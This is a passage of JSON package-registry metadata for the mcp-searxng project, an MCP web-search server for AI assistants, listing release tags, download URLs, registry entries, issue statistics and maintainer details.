tps://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.0/manifests"},{"name":"v0.4.7","sha":"41ad5e534404db89fc6dfea18be30674db0b2fa5","kind":"tag","published_at":"2025-06-02T03:09:29.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"cf5128a1409befc4a658cc170332357e0fb8e29e","kind":"tag","published_at":"2025-04-22T16:23:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"b7e720b842e0c017bf18a74bdaa8a05a0e6dbf64","kind":"tag","published_at":"2025-04-22T00:58:29.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"df39042139b11820580732f2c43f0cbbc6f768bd","kind":"tag","published_at":"2025-04-22T00:54:36.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"cfaac057e157da0c76cb5cb46b7fcc461ddb7868","kind":"tag","published_at":"2025-04-22T00:51:28.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"aa6c5c233194aa9566163b3a0dae8e68d0c2c640","kind":"tag","published_at":"2025-04-22T00:42:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"e32f704d56567ecd6a49a03638e85e5d016cd3a5","kind":"tag","published_at":"2025-04-19T23:48:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"ae12a306d615057c328d201cc497d5aad6571583","kind":"commit","published_at":"2025-04-19T23:33:44.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.0/manifests"},{"name":"v0.3.7","sha":"8d9592923bfe89ba345a823599effc929dc88c2f","kind":"commit","published_at":"2025-04-19T23:31:50.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"80a912c94869adf5b12fc068d834ad4ffda6c251","kind":"commit","published_at":"2025-04-19T23:28:43.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"6ad31a3101a311f1fee8650b82c4d30d631c2612","kind":"commit","published_at":"2025-04-19T23:25:08.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"12601a381127142244c084035627d1e5366629c1","kind":"tag","published_at":"2025-04-19T22:31:18.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"265342b209d930a49235ce8a078d94ca26d935fa","kind":"tag","published_at":"2025-04-17T02:23:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"77e3e6290238a4ad4f14fa6caa3079a800aff07d","kind":"tag","published_at":"2025-04-17T02:15:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"c23cd418ecccc7aacbd770b94388c180f33dbf1b","kind":"commit","published_at":"2025-04-17T01:19:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.1/manifests"}]},"repo_metadata_updated_at":"2026-10-10T20:46:20.224Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/mcp-searxng?channel=unstable","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/mcp-searxng","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/mcp-searxng","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/mcp-searxng/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-09T09:27:28.023Z","issues_count":25,"pull_requests_count":150,"avg_time_to_close_issue":1215908.8125,"avg_time_to_close_pull_request":202543.14503816795,"issues_closed_count":16,"pull_requests_closed_count":131,"pull_request_authors_count":23,"issue_authors_count":25,"avg_comments_per_issue":3.36,"avg_comments_per_pull_request":1.8666666666666667,"merged_pull_requests_count":98,"bot_issues_count":0,"bot_pull_requests_count":50,"past_year_issues_count":16,"past_year_pull_requests_count":141,"past_year_avg_time_to_close_issue":1460293.75,"past_year_avg_time_to_close_pull_request":202261.40157480314,"past_year_issues_closed_count":12,"past_year_pull_requests_closed_count":127,"past_year_pull_request_authors_count":15,"past_year_issue_authors_count":16,"past_year_avg_comments_per_issue":3.6875,"past_year_avg_comments_per_pull_request":1.978723404255319,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":50,"past_year_merged_pull_requests_count":94,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/issues","maintainers":[{"login":"ihor-sokoliuk","count":77,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ihor-sokoliuk"}],"active_maintainers":[{"login":"ihor-sokoliuk","count":77,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ihor-sokoliuk"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/mcp-searxng/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/mcp-searxng/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/mcp-searxng/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/mcp-searxng/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/mcp-searxng/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/mcp-searxng/codemeta","maintainers":[{"uuid":"SuperSandro2000","login":null,"name":"Sandro Jäckel","email":"sandro.jaeckel@gmail.com","url":"https://github.com/SuperSandro2000","packages_count":840,"html_url":null,"role":null,"created_at":"2026-09-06T00:02:35.841Z","updated_at":"2026-09-06T00:02:35.841Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers/SuperSandro2000/packages"}],"registry":{"name":"nixpkgs-unstable","url":"https://channels.nixos.org/nixos-unstable","ecosystem":"nixpkgs","default":true,"packages_count":156217,"maintainers_count":4991,"namespaces_count":0,"keywords_count":3476,"github":"NixOS","metadata":{"funded_packages_count":11456},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:52.762Z","updated_at":"2026-10-17T05:01:28.190Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/namespaces"}},{"id":11550735,"name":"github.com/ihor-sokoliuk/mcp-searxng","ecosystem":"go","description":null,"homepage":null,"licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/ihor-sokoliuk/mcp-searxng","keywords_array":[],"namespace":null,"versions_count":89,"first_release_published_at":"2025-04-17T01:19:17.000Z","latest_release_published_at":"2026-10-13T11:53:29.000Z","latest_release_number":"v2.6.0+incompatible","last_synced_at":"2026-10-16T16:47:07.614Z","created_at":"2025-04-17T08:06:57.783Z","updated_at":"2026-10-16T16:47:07.614Z","registry_url":"https://pkg.go.dev/github.com/ihor-sokoliuk/mcp-searxng","install_command":"go get github.com/ihor-sokoliuk/mcp-searxng","documentation_url":"https://pkg.go.dev/github.com/ihor-sokoliuk/mcp-searxng#section-documentation","metadata":{},"repo_metadata":{"id":270404339,"uuid":"907172461","full_name":"ihor-sokoliuk/mcp-searxng","owner":"ihor-sokoliuk","description":"Private web search for AI assistants via SearXNG — supports Claude, Cursor, and any MCP client","archived":false,"fork":false,"pushed_at":"2026-10-10T19:17:22.000Z","size":1793,"stargazers_count":1292,"open_issues_count":0,"forks_count":163,"subscribers_count":4,"default_branch":"main","last_synced_at":"2026-10-10T20:45:33.141Z","etag":null,"topics":["ai","claude","cursor","llm","mcp","mcp-server","mcp-servers","privacy","search","searxng","self-hosted","web-search"],"latest_commit_sha":null,"homepage":"https://www.npmjs.com/package/mcp-searxng","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ihor-sokoliuk.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2024-12-23T02:00:51.000Z","updated_at":"2026-10-10T19:17:23.000Z","dependencies_parsed_at":"2026-08-27T15:45:07.609Z","dependency_job_id":"2ba83c2e-dc53-4e03-a35a-2de122068569","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng","commit_stats":null,"previous_names":["ihor-sokoliuk/mcp-searxng"],"tags_count":83,"template":false,"template_full_name":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343680568,"owners_count":38170221,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-10T02:00:07.419Z","response_time":65,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"ihor-sokoliuk","name":"Ihor Sokoliuk","uuid":"17313213","kind":"user","description":"Staff Engineer · Agentic AI \u0026 MCP servers · Distributed Systems · Python / Go","email":"","website":"https://linkedin.com/in/ihorsokoliuk","location":"Austin, TX","twitter":null,"company":"Grid Dynamics","icon_url":"https://avatars.githubusercontent.com/u/17313213?u=c412adec9c62902adaea814ee18bf5267c25ea80\u0026v=4","repositories_count":15,"last_synced_at":"2026-10-03T18:48:37.615Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/ihor-sokoliuk","funding_links":[],"total_stars":1275,"followers":17,"following":1,"created_at":"2024-12-30T22:27:30.363Z","updated_at":"2026-10-03T18:48:37.750Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk/repositories"},"tags":[{"name":"v2.1.0","sha":"317c85c986177258fa2960142477f806d3a04b2b","kind":"commit","published_at":"2026-08-25T17:57:45.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v2.1.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"c80b83d9437738c7fa2a027b4b113de89c7db448","kind":"commit","published_at":"2026-08-21T15:48:49.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v2.0.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.0.0/manifests"},{"name":"v1.16.0","sha":"02ed57341b482b4d0430d728709c9ebf43bac82f","kind":"commit","published_at":"2026-08-20T00:35:53.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.16.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.16.0/manifests"},{"name":"v1.15.0","sha":"1046b789bf55349421b148fd0630da0124702d28","kind":"commit","published_at":"2026-08-11T14:34:50.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.15.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.15.0/manifests"},{"name":"v1.14.1","sha":"6cf8373c03cde21c9b590f91f4677ebf0ec1fdae","kind":"commit","published_at":"2026-08-07T03:09:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.14.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.1/manifests"},{"name":"v1.14.0","sha":"edd31ef3e7b475d3a3a09e3f36422daf592e61ee","kind":"commit","published_at":"2026-08-01T02:18:33.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.14.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.0/manifests"},{"name":"v1.13.0","sha":"0b0bcd8aab9ab9136304148c289acc24f171fc09","kind":"commit","published_at":"2026-07-30T23:24:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.13.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.13.0/manifests"},{"name":"v1.12.1","sha":"850af5c0da7193c0d3657b0fb6db56c1bbe91099","kind":"commit","published_at":"2026-07-29T02:48:48.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.12.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.1/manifests"},{"name":"v1.12.0","sha":"cf545d041cf3471e9522ee7bb2bc6bbdd59d5d18","kind":"commit","published_at":"2026-07-26T00:16:33.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.12.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.0/manifests"},{"name":"v1.11.1","sha":"fca8493e124c5fc4dcfa3c107b73fb46efa14210","kind":"commit","published_at":"2026-07-14T16:57:37.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.11.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.1/manifests"},{"name":"v1.11.0","sha":"e47e4190b3c7b7f1913e9339029945a9e7c514b8","kind":"commit","published_at":"2026-07-07T04:48:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.11.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.0/manifests"},{"name":"v1.10.1","sha":"755e19c4f0a3278a2f985b7a0db440230d59be63","kind":"commit","published_at":"2026-07-04T18:41:44.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.10.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.1/manifests"},{"name":"v1.10.0","sha":"e499816b1bceb5984445aa4ae1dde156d55b3ece","kind":"commit","published_at":"2026-07-03T22:54:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.10.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts